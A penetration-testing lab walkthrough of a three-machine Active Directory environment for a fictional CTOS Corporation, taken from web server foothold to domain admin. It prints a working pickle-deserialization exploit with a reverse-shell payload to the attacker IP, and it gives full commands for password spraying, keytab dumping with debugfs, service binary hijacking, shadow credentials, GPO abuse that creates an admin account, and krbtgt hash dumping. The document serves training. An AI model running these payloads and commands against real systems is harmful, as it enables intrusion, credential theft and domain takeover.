Overview

The machine starts by bypassing authentication on WEB-01 with sql injection that leaks backup.zip and abusing pickle deserialization to get shell as phil, symlinking a staged config to leak john's ssh key and abusing disk group via debugfs to dump krb5.keytab to get a ticket as svc_web. Enumerating smb shares to find a password policy and spraying the predictable initial-password formula to get winrm as l_conrad, then hijacking the writable CTOSInventorySvc binary to get shell as SYSTEM on IT-WS01 to find a KeePass database. Cracking the database to get svc_infra_mgr and chaining GenericWrite with shadow credentials and GPO abuse to get shell as domain admin on DC01.

Objective

CTOS Corporation delivers cutting-edge managed services, cloud solutions, and cybersecurity expertise to clients of all sizes. You have been hired to perform their annual penetration test against 3 high-value targets in the Active Directory environment. Your task is to identify all vulnerabilities and (if possible) elevate your privileges to Domain Admin.

This lab has 3 machines

  • DC01 at 10.1.195.61
  • IT-WS01 at 10.1.155.141
  • WEB-01 at 10.1.222.179

Enumeration

We'll start with nmap scan as usual

The nmap scan shows some good information

  • The machine WEB-01 isn't a domain-joined machine it is a linux machine running HTTP and SSH
  • IT-WS01 is a domain-joined machine running SMB and WINRM
  • DC01 is the DC server as the name implies

The domain name is CTOS.CORP so let's add the entries in the hosts file

We'll add only the domain-joined machines, the Linux one doesn't matter that much

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ echo '10.1.195.61 DC01.CTOS.CORP COTS.CORP DC01' | sudo tee -a /etc/hosts
10.1.195.61 DC01.CTOS.CORP COTS.CORP DC01
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ echo '10.1.155.141 IT-WS01 IT-WS01.CTOS.CORP' | sudo tee -a /etc/hosts
10.1.155.141 IT-WS01 IT-WS01.CTOS.CORP

WEB-01

We'll start with HTTP on WEB-01

The website shows some leadership names that'll come handy later

And as you can see, there is a contact form that might be useful, but we won't jump to it right away

We'll start fuzzing the website first before going deeper and we see that there is a login page

The login page has forgot your password but it is just a UI thing not linked to actual logic yet

Web access as admin

First thing we need to do is to bypass this login page because we don't have creds, one of the things we can try here is SQL injection and as you can see trying admin' AND 1=1-- - returns 302 redirecting us to the portal

Once we log in, we'll see some useful links on the right some of which is this site archive and once we click it it downloads backup.zip file

Looking at what the file contains, it has the application source code I expect

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ unzip -l backup.zip
Archive: backup.zip
  Length Date Time Name
--------- ---------- ----- ----
     5688  2026-02-05 09:19   app.py
       30  2026-01-30 18:28   requirements.txt
        0  2026-02-02 19:56   templates/
      552  2026-01-30 18:26   templates/404.html
      553  2026-01-30 18:27   templates/500.html
     8945  2026-01-30 18:24   templates/about.html
    15808  2026-01-30 18:23   templates/base.html
     9476  2026-01-30 18:25   templates/careers.html
     6279  2026-01-30 18:26   templates/contact.html
     6871  2026-01-30 18:24   templates/index.html
     2603  2026-01-30 18:26   templates/login.html
     2215  2026-01-30 18:25   templates/news.html
     9041  2026-01-30 18:26   templates/portal.html
     8128  2026-01-30 18:25   templates/services.html
--------- -------
    76189                     14 files

Looking at the app source code, we see that pickle is used to pickle.load() to deserialize that cookie to store it (assuming that the cookie is a complex session data not just strings and numbers)

So they take the session from the browser, decode it from base64 and then deserialize it using pickle to reconstruct the Python object

Let's first explain why they using pickle in the first place: There are two approaches for sessions

  1. client-side sessions (storing all data within the cookie itself)
  2. server-side sessions (store the session ID in the cookie and the actual data is on the server linked to that session ID one way or another)

And sometimes developers use pickle to dump the Python object as binary data (serialize it) if the data is complex like this for example

python
session_data = {
    'user_id': 123,
    'permissions': ['admin', 'edit'],
    'cart': [{'item': 'laptop', 'qty': 1}]
}
cookie = base64.b64encode(pickle.dumps(session_data))
response.set_cookie('session', cookie)

Then they use something like the code below to reconstruct it when they need to which is the deserialization But the issue with using pickle.loads that it isn't safe and causes RCE due to existence of its magic method __reduce__ because you can consider this method as the method that tells pickle how to recreate the object using a factory function (factory function means a function that creates and returns object and wraps the creation logic)

The thing about the factory function is it doesn't have to be a class it can be any function so we can use os.system and give it the arguments for that factory as you can see which will execute code on the system

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS/app]
└──╼ [★]$ cat exploit.py
#!/usr/bin/env python3
import pickle, base64, os, sys
ip = sys.argv[1]
port = sys.argv[2]
class Exploit:
    def __reduce__(self):
        return (os.system, (f"python3 -c 'import socket,subprocess,os;s=socket
.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup
2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\
"/bin/sh\" ,\"-i\"])'",))
print(base64.b64encode(pickle.dumps(Exploit())).decode())

And because we know the app uses pickle.load on the other side we'll generate a malicious token that we reconstructed it'll execute the system command

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS/app]
└──╼ [★]$ python3 exploit.py 10.200.91.63 4444
gASV+wAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjOBweXRob24zIC1jICdpbXBvcnQgc29ja2V0LH
N1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NU
UkVBTSk7cy5jb25uZWN0KCgiMTAuMjAwLjkxLjYzIiw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLD
ApO29zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7c3VicHJvY2Vzcy5j
YWxsKFsiL2Jpbi9zaCIsIi1pIl0pJ5SFlFKULg==

And as you can see, once we enter the cookie and reload the page, it'll hang and we'll get our shell back

First, we'll drop an SSH key to get a more stable shell

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS/app]
└──╼ [★]$ ssh-keygen -t ed25519 -f phil_key
Generating public/private ed25519 key pair.
Enter passphrase for "phil_key" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in phil_key
Your public key has been saved in phil_key.pub
The key fingerprint is:
SHA256:GzHDDwK1NYrFcLCi3Jxekp4HZwNudp9OrhbnJUkJpQE jimmex@attacker
The key's randomart image is:
+--[ED25519 256]--+
| E=*=.o |
| B+= . |
| ..o.= B |
| ..+.+ + * |
| .. @ *. S . |
| = O.o+.+ |
| + .+++ |
| ..+. |
| ...o |
+----[SHA256]-----+
bash
phil@web-01:/home/phil/.ssh$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINM85h0U/9v5tHm99V9Ie6/43TybQDD/HBXFM7S9Lv8/ jimmex@attacker' > authorized_keys
phil@web-01:/home/phil/.ssh$

SSH as John

Running pspy on the target, we see that the script backup.sh is running every couple of minutes as the UID 1001 which is john's UID so let's see what is that script

The script creates a log file under /var/log/backup/backup.log with the permission 644 meaning we can read it Then it uses the zip function to create a backup from the application source code /opt/ctos_portal and excludes venv directory to save space, then redirects both stdout and stderr to the log file (important thing to notice)

then the dangerous part is this configuration file processing, It first checks if a config file exists in the phil's staging directory, the config file is named backup_config and it if does it reads it and dumps it in the log file then it deletes it

Why is it dangerous? Because it doesn't check if the config file is a symlink or not (symlink is a special type of file that points to another file or directory acting like a shortcut) so if we symlink any file that john has read access to under the name backup_config in the staging directory the script will follow this symlink to the original file and dumps it in the log file

So we first create the symlink ln -s /home/john/.ssh/id_rsa /home/phil/backup_staging/backup_config and wait for a couple of minutes till it runs and as you can see under /var/log/backup/backup.log we'll see the SSH key logged Pasted image 20260908010603.png

So we can use that key to SSH as john

yaml
phil@web-01:/tmp$ ssh -i id_rsa john@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:ZQjE35p7M8AdW6EBRRcXF+xTwL3z8MqGNTKmJE9tR0M.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
<SNIP>

Last login: Fri Aug 14 13:30:54 2026 from 10.0.2.188
john@web-01:~$ id
uid=1001(john) gid=1001(john) groups=1001(john),6(disk)
john@web-01:~$ 
john@web-01:~$ 

So I ran LinPEAS as john, and reading the output we'll see that we are part of the disk group and this is already a major security flow cause we have raw low-level access to the system physical hard disks which will allow us to bypass all the standard file permissions

bash
                               ╔═══════════════════╗
═══════════════════════════════╣ Users Information ╠═══════════════════════════════
                               ╚═══════════════════╝
╔══════════╣ My user (T1033)
 https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#users
uid=1001(john) gid=1001(john) groups=1001(john),6(disk)

Looking at the disks, we see this block device /dev/nvme0n1p2 which is the root file system

bash
john@web-01:~$ df -h
Filesystem Size Used Avail Use% Mounted on
tmpfs 193M 1.3M 192M 1% /run
/dev/nvme0n1p2   30G  9.9G   18G  36% /
tmpfs 963M 0 963M 0% /dev/shm
tmpfs 5.0M 0 5.0M 0% /run/lock
tmpfs 193M 96K 193M 1% /run/user/120
tmpfs 193M 84K 193M 1% /run/user/1002
tmpfs 193M 84K 193M 1% /run/user/1001

Earlier as Phil, I saw this krb5.keytab file file which is something we always look for when there is a Linux machine in active directory environment (even if it isn't a domain joined machine) but the file is readable only by root but we are members of disk group now so we don't really care about permissions

bash
john@web-01:~$ ls -la /etc/ | grep krb
-rw-r--r-- 1 root root 429 Sep 7 02:31 krb5.conf
drwxr-xr-x 2 root root 4096 Aug 14 12:58 krb5.conf.d
-rw-r----- 1 root root 195 Feb 17 2026 krb5.keytab

Usually we need to know where the file's block starts and ends but we don't have to do that manually cause the utility debugfs does all of that for us and even dumps the file And as you can see, we now have a copy of the file as john

bash
john@web-01:~$ debugfs -R 'dump /etc/krb5.keytab ./krb5.keytab' /dev/nvme0n1p2
debugfs 1.47.0 (5-Feb-2023)
john@web-01:~$ ls
Desktop Documents Downloads krb5.keytab linpeas.sh Music Pictures Public snap Templates Videos
john@web-01:~$ ls -la krb5.keytab
-rw-rw-r-- 1 john john 195 Sep 7 02:54 krb5.keytab

the utility also allows writing to files so we can use it for persistence if we care about that

IT-WS01

Now We can move to the domain machines

Access as svc_web

What is a keytab file

A keytab file is essentially a password file for services in a Kerberos network. It securely stores the secret keys that a server or application needs to automatically authenticate and prove its identity to the network, without requiring a human to type in a password

So that file has a pair of identities the principal and its long-term cryptographic key and we can use that to get a ticket

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ klist -kt krb5.keytab
Keytab name: FILE:krb5.keytab
KVNO Timestamp Principal
---- ------------------- ------------------------------------------------------
   1 02/16/2026 22:35:20 svc_web@CTOS.CORP
   1 02/16/2026 22:35:20 svc_web@CTOS.CORP
   1 02/16/2026 22:35:20 svc_web@CTOS.CORP

First, generate a krb5 configuration file

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ nxc smb CTOS.CORP -u '' -p '' --generate-krb5-file krb5.conf
SMB 10.1.195.61 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:CTOS.CORP) (signing:True) (SMBv1:False) (Null
Auth:True) (DC:True)
SMB 10.1.195.61 445 DC01 [+] krb5 conf saved to: krb5.conf
SMB 10.1.195.61 445 DC01 [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
SMB 10.1.195.61 445 DC01 [+] CTOS.CORP\:

Then move the file under /etc/

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ sudo mv krb5.conf /etc/krb5.conf

And use that file to get a TGT

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ kinit -k -t krb5.keytab svc_web@CTOS.CORP

And now, as you can see, we have a TGT as svc_web

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: svc_web@CTOS.CORP

Valid starting Expires Service principal
09/06/2026 17:29:06  09/07/2026 03:29:06  krbtgt/CTOS.CORP@CTOS.CORP
        renew until 09/07/2026 17:29:06

Collect Bloodhound

This ticket allows us to collect BloodHound data using rusthound and bloodhound.py

using bloodhound.py also

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ bloodhound-ce-python -c All --zip -dc DC01.CTOS.CORP -ns 10.1.195.61 -k -u svc_web -d CTOS.CORP -no-pass
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: ctos.corp
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: DC01.CTOS.CORP
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 3 computers
INFO: Connecting to LDAP server: DC01.CTOS.CORP
INFO: Found 14 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 8 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: web-01
INFO: Querying computer: IT-WS01.CTOS.CORP
INFO: Querying computer: DC01.CTOS.CORP
WARNING: Could not resolve: web-01: The resolution lifetime expired after 3.105 seconds: Server Do53:10.1.195.61@53 answered The DNS operation timed out.
INFO: Done in 00M 30S
INFO: Compressing output into 20260906173127_bloodhound.zip

The BloodHound data didn't show any permissive DACL for that user but it is still useful

Let's export the ticket to use it

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ export KRB5CCNAME=/tmp/krb5cc_1000

And as you can see, we have read access over a share as svc_web

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ nxc smb 10.1.155.141 -u svc_web -k --use-kcache --shares
SMB 10.1.155.141 445 IT-WS01 [*] Windows Server 2022 Build 20348 x64 (name:IT-WS01) (domain:CTOS.CORP) (signing:False) (SMBv1:False)
SMB 10.1.155.141 445 IT-WS01 [+] CTOS.CORP\svc_web from ccache
SMB 10.1.155.141 445 IT-WS01 [*] Enumerated shares
SMB 10.1.155.141 445 IT-WS01 Share Permissions Remark
SMB 10.1.155.141 445 IT-WS01 ----- ----------- ------
SMB 10.1.155.141 445 IT-WS01 ADMIN$ Remote Admin
SMB 10.1.155.141 445 IT-WS01 C$ Default share
SMB 10.1.155.141 445 IT-WS01 IPC$ READ Remote IPC
SMB 10.1.155.141 445 IT-WS01 IT_Onboarding READ

First, log in and grab that file

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ smbclient.py CTOS.CORP/svc_web:@IT-WS01.CTOS.CORP -k -no-pass -dc-ip 10.1.195.61
Impacket v0.14.0.dev0+20260814.164800.c23b3d55 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# shares
Share Name Type Comment
----------------------------------------------------------------------
ADMIN$                    DISK (SPECIAL)  Remote Admin
C$                        DISK (SPECIAL)  Default share
IPC$                      IPC (SPECIAL)   Remote IPC
IT_Onboarding DISK
# use IT_Onboarding
# ls
drw-rw-rw- 0 Sun Feb 15 09:26:28 2026 .
drw-rw-rw- 0 Sun Feb 15 09:13:03 2026 ..
-rw-rw-rw- 32951 Sun Feb 15 09:26:31 2026 SEC-POL-2026.pdf
# get SEC-POL-2026.pdf
# exit

The file mentions provisioned temporary initial passwords and the first login password must follow a certain password formula which is the first 3 letters of the first name uppercase + ! + year + one of 5 special characters + last two characters of the last name lower case

And because we have that formula and we can get a list of names, we can create a very small list of possible passwords

Access as Lisa Conrad

We first get a list of users, but the username doesn't show the actual first and last name but remember we already had the leadership names from the website (even if We didn't have that we can list the full DN from LDAP to get the full name)

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ nxc smb CTOS.CORP -u svc_web -k --use-kcache --users-export users.txt
SMB CTOS.CORP 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:CTOS.CORP) (signing:True) (SMBv1:False) (Null
Auth:True) (DC:True)
SMB CTOS.CORP 445 DC01 [+] CTOS.CORP\svc_web from ccache
SMB CTOS.CORP 445 DC01 -Username- -Last PW Set- -BadPW- -Description-

SMB CTOS.CORP 445 DC01 Administrator 2026-02-15 19:58:03 0 Built-in account for administering the computer/
domain
SMB CTOS.CORP 445 DC01 Guest < never> 0 Built-in account for guest access to the compute
r/domain
SMB CTOS.CORP 445 DC01 krbtgt 2026-02-15 20:09:12 0 Key Distribution Center Service Account
SMB CTOS.CORP 445 DC01 j_wilson 2026-02-15 20:14:47 0
SMB CTOS.CORP 445 DC01 l_conrad 2026-02-15 20:14:48 0
SMB CTOS.CORP 445 DC01 m_chen 2026-02-15 20:14:48 0
SMB CTOS.CORP 445 DC01 s_patel 2026-02-15 20:14:48 0
SMB CTOS.CORP 445 DC01 e_rodriguez 2026-02-15 20:14:48 0
SMB CTOS.CORP 445 DC01 d_kim 2026-02-15 20:14:48 0
SMB CTOS.CORP 445 DC01 it_ops_lead 2026-02-15 20:14:48 0
SMB CTOS.CORP 445 DC01 svc_web 2026-02-15 20:14:48 0 Service account for CTOS web portal
SMB CTOS.CORP 445 DC01 svc_backup 2026-02-15 20:14:48 0 Service account for backup operations
SMB CTOS.CORP 445 DC01 svc_infra_mgr 2026-02-15 20:14:48 0 Service account for infrastructure management
SMB CTOS.CORP 445 DC01 [*] Enumerated 13 local users: CTOS
SMB CTOS.CORP 445 DC01 [*] Writing 13 local users to users.txt

First, I found that this user d_kim doesn't have any permissions so i decided to move on with the other leaderships only

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ cat < < 'EOF' > targets.txt
j_wilson
l_conrad
m_chen
e_rodriguez
EOF

Then we create a list of passwords, using a script

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ cat < < 'EOF' > passwords.txt
JAM!2026@on
JAM!2026#on
JAM!2026$on
JAM!2026%on
JAM!2026&on
LIS!2026@ad
LIS!2026#ad
LIS!2026$ad
LIS!2026%ad
LIS!2026&ad
MAR!2026@en
MAR!2026#en
MAR!2026$en
MAR!2026%en
MAR!2026&en
ELE!2026@ez
ELE!2026#ez
ELE!2026$ez
ELE!2026%ez
ELE!2026&ez
EOF

Then once we run it, we get a valid password for lisa conrad

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ nxc smb 10.1.155.141 -u targets.txt -p passwords.txt --continue-on-success | grep '+'
SMB 10.1.155.141 445 IT-WS01 [+] CTOS.CORP\l_conrad:LIS!2026$ad

winrm as L_CONRAD

We'll see that the user is part of the group IT_OPERATIONS which means he has some kind of privileged access (usually)

And testing WinRM for that, we get that the user can winrm

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ nxc winrm IT-WS01 -u l_conrad -p 'LIS!2026$ad'
WINRM 10.1.155.141 5985 IT-WS01 [*] Windows Server 2022 Build 20348 (name:IT-WS01) (domain:CTOS.CORP)
WINRM 10.1.155.141 5985 IT-WS01 [+] CTOS.CORP\l_conrad:LIS!2026$ad (Pwn3d!)

Access as SYSTEM

So I started enumerating the system, one of the steps is looking for weird services running (which WinPEAS does automatically but it is flagged by the firewall) so I had to do it manually using reg query "HKLM\SYSTEM\CurrentControlSet\Services" /s this returned a lot of services as usual cause it is windows but this one stands out

bash
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CTOSInventorySvc

Querying that service specifically shows that the path is quoted which means it isn't hijackable but let's see if we have access over the binary itself

bash
*Evil-WinRM* PS C:\Users\l_conrad\Documents> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CTOSInventorySvc /v ImagePath

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CTOSInventorySvc
    ImagePath REG_EXPAND_SZ cmd.exe /c "C:\Program Files\CTOS\InventoryService\CTOSInventorySvc.exe"

*Evil-WinRM* PS C:\Users\l_conrad\Documents>

And as you can see, we can MODIFY as Users which is dangerous can we can change the binPath that indicates what it executes to any binary of our choosing

bash
*Evil-WinRM* PS C:\Users\l_conrad\Documents> icacls "C:\Program Files\CTOS\InventoryService\CTOSInventorySvc.exe"
C:\Program Files\CTOS\InventoryService\CTOSInventorySvc.exe BUILTIN\Users:(I)(M)
                                                            NT AUTHORITY\SYSTEM:(I)(F)
                                                            BUILTIN\Administrators:(I)(F)
                                                            APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                            APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
*Evil-WinRM* PS C:\Users\l_conrad\Documents>

We see that the BINARY_PATH_NAME is the legit service path name so far

yaml
*Evil-WinRM* PS C:\Users\l_conrad\Documents> sc.exe qc CTOSInventorySvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: CTOSInventorySvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : cmd.exe /c "C:\Program Files\CTOS\InventoryService\CTOSInventorySvc.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : CTOS Inventory Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
*Evil-WinRM* PS C:\Users\l_conrad\Documents> 

I will use my .NET code for a revshell, It is a service binary, meaning it will interact with the SCM and send a signal once it is started (normal binaries will timeout and lose the shell) first we just need to change the default IP and PORT to our IP and change the service name in the code to the actual service name CTOSInventorySvc

Then we compile it on the system

bash
*Evil-WinRM* PS C:\Users\l_conrad\Documents> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:winexe /reference:System.ServiceProcess.dll /out:C:\Users\l_conrad\Documents\service.exe C:\Users\l_conrad\Documents\service.cs
Microsoft (R) Visual C# Compiler version 4.8.4161.0

for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.



This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240

service.cs(215,26): warning CS0168: The variable 'ex' is declared but never used

And once we configure the service binPath for that binary and start it we'll see that we get a shell back as SYSTEM

DC01

Now We need to get administrator on DC01 somehow

Access as SVC_Infra_mgr

Under the Administrator Documents folder on IT-WS01, we see that there is a KDBX database

bash
PS C:\Users\Administrator\Documents> ls
ls


    Directory: C:\Users\Administrator\Documents


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 01-02-2026 23:32 2110 Database.kdbx


PS C:\Users\Administrator\Documents>

we use uploadserver to send it back to our system (that's why i like C2 better = easier for exfiltration and we'll mention this at the end)

so we first extract the database master password

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ keepass2john Database.kdbx | tee db.hash
Database:$keepass$*2*600000*0*c14b5ba45ea084f72781cddde6ccf4fad4df2daa9da92c760bf1812e2191dcfd*a6ea7a5ad28b49984be9a24a063be3862ef23ea914ed205cf511d1ef4415aea
5*7dd8e133acaf6407f6aed0f9c57087ae*b8b772b1c31c92980fcec15739c8d4de933c81307f7a9377987bc04cc968be6e*9c61586d08359491c464388b16de4d2f1947b33ffd03b977e435690f52
5ff775

Then we'll crack it using john to find the password sunshine

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ john db.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 600000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sunshine1 (Database)
1g 0:00:01:27 DONE (2026-09-06 19:21) 0.01142g/s 7.404p/s 7.404c/s 7.404C/s sunshine1..taurus
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Once we open the DB we'll find nothing under General but there is a password under Windows

Validating the username

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ nxc smb CTOS.CORP -u svc_infra_mgr -p 'Infr@Mgmt2026!Secure'
SMB 10.1.195.61 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:CTOS.CORP) (signing:True) (SMBv1:False) (Null
Auth:True) (DC:True)
SMB 10.1.195.61 445 DC01 [+] CTOS.CORP\svc_infra_mgr:Infr@Mgmt2026!Secure

Access as IT_OPS_LEAD

The SVC_INFRA_MGR has a nice chain in BloodHound First, he has GenericWrite over the user IT_OPS_LEAD and because there is ADCS in place and let's hope PKINIT is enabled we'll be able to get that user's hash

First, we'll shadow credential that user to get is hash

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ certipy shadow auto -u svc_infra_mgr -p 'Infr@Mgmt2026!Secure' -dc-host DC01.CTOS.CORP -account IT_OPS_LEAD -ns 10.1.195.61
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Targeting user 'it_ops_lead'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '6ec865f1825d4e0eb18c02149ccd3cea'
[*] Adding Key Credential with device ID '6ec865f1825d4e0eb18c02149ccd3cea' to the Key Credentials for 'it_ops_lead'
[*] Successfully added Key Credential with device ID '6ec865f1825d4e0eb18c02149ccd3cea' to the Key Credentials for 'it_ops_lead'
[*] Authenticating as 'it_ops_lead' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'it_ops_lead@ctos.corp'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'it_ops_lead.ccache'
[*] Wrote credential cache to 'it_ops_lead.ccache'
[*] Trying to retrieve NT hash for 'it_ops_lead'
[*] Restoring the old Key Credentials for 'it_ops_lead'
[*] Successfully restored the old Key Credentials for 'it_ops_lead'
[*] NT hash for 'it_ops_lead': fd8bd0720fec58d0b5005257dd9f3723

Validating the hash

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ nxc smb CTOS.CORP -u svc_infra_mgr -p 'Infr@Mgmt2026!Secure' ^CSecure'
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ nxc smb CTOS.CORP -u it_ops_lead -H fd8bd0720fec58d0b5005257dd9f3723
SMB 10.1.195.61 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:CTOS.CORP) (signing:True) (SMBv1:False) (Null
Auth:True) (DC:True)
SMB 10.1.195.61 445 DC01 [+] CTOS.CORP\it_ops_lead:fd8bd0720fec58d0b5005257dd9f3723

IT_OPS_LEAD AddMember

And then we use IT_OPS_LEAD to add a member of the group Policy Automation Group to add ourselves into that group

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ bloodyAD --host 10.1.195.61 -d CTOS.CORP -u it_ops_lead -p :fd8bd0720fec58d0b5005257dd9f3723 add groupMember POLICY_AUTOMATION_GROUP IT_OPS_LEAD
[+] IT_OPS_LEAD added to POLICY_AUTOMATION_GROUP

That group gives us write access over the Default Domain Policy

It's the central Group Policy Object (GPO) that applies to all computers and users in the domain, enforcing baseline settings like password policies, account lockout rules, and Kerberos authentication settings.

So we can use it to get admin on DC01

First, we'll need the Policy GUID which is part of its GpcPath from bloodhound or from the DN via LDAP Pasted image 20260908004257.png

Then we'll use that GUID to write a Scheduled Task that creates a user and adds it to the administrators group

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ pygpoabuse CTOS.CORP/it_ops_lead -hashes :fd8bd0720fec58d0b5005257dd9f3723 -gpo-id "6AC1786C-016F-11D2-945F-00C04FB984F9" -command "net user jimmex Password123! /
add && net localgroup administrators jimmex /add" -f
[+] ScheduledTask TASK_0493a434 created!

And after waiting a while (5 minutes or so) we'll see that the task ran and the user was created

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ nxc smb CTOS.CORP -u jimmex -p Password123!
SMB 10.1.195.61 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:CTOS.CORP) (signing:True) (SMBv1:False) (Null Auth:True) (DC
:True)
SMB 10.1.195.61 445 DC01 [+] CTOS.CORP\jimmex:Password123! (Pwn3d!)

using secrets dump to dump the KRBTGT user hash

bash
┌─[]─[10.200.91.63]─[jimmex@attacker]─[~/HSM/CTOS]
└──╼ [★]$ secretsdump.py CTOS.CORP/jimmex:'Password123!'@10.1.195.61 -just-dc-user krbtgt
Impacket v0.14.0.dev0+20260814.164800.c23b3d55 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:<NONE OF YOUR BUSINESS, SIR>:::

Beyond root

We also could've used this stager (the one that DeepSeek created for the Staged but added a service signaling so it doesn't timeout)

All we had to do is transfer that stager back to the machine and use it as the binPath then start a web server that serves the shellcode.bin which is an agent created by sliver or whatever C2 you use and it'll work Why is it better? Better OPSEC and easier Exfiltration

Path

That's what we did in this lab Pasted image 20260908001618.png

Resources